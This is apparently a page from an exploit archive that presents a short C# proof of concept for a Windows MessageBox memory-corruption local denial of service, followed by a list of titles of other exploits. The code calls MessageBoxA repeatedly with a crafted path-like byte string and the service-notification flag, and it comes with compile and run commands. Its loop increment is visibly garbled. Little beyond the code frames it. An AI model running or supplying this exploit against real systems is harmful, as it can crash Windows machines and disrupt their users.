// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i )
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe//http://www.leftworld.net
【MS Windows (MessageBox) Memory Corruption Local Denial of Service】相关文章:
★ MS Internet Explorer Recordset Double Free Memory Exploit
★ The Personal FTP Server 6.0f RETR Denial of Service Exploit
★ Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC
★ Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit
★ pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
★ Million Pixels 3 (id_cat) Remote SQL Injection Vulnerability
★ Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
★ Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
★ DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
★ MS Windows (.doc File) Malformed Pointers Denial of Service Exploit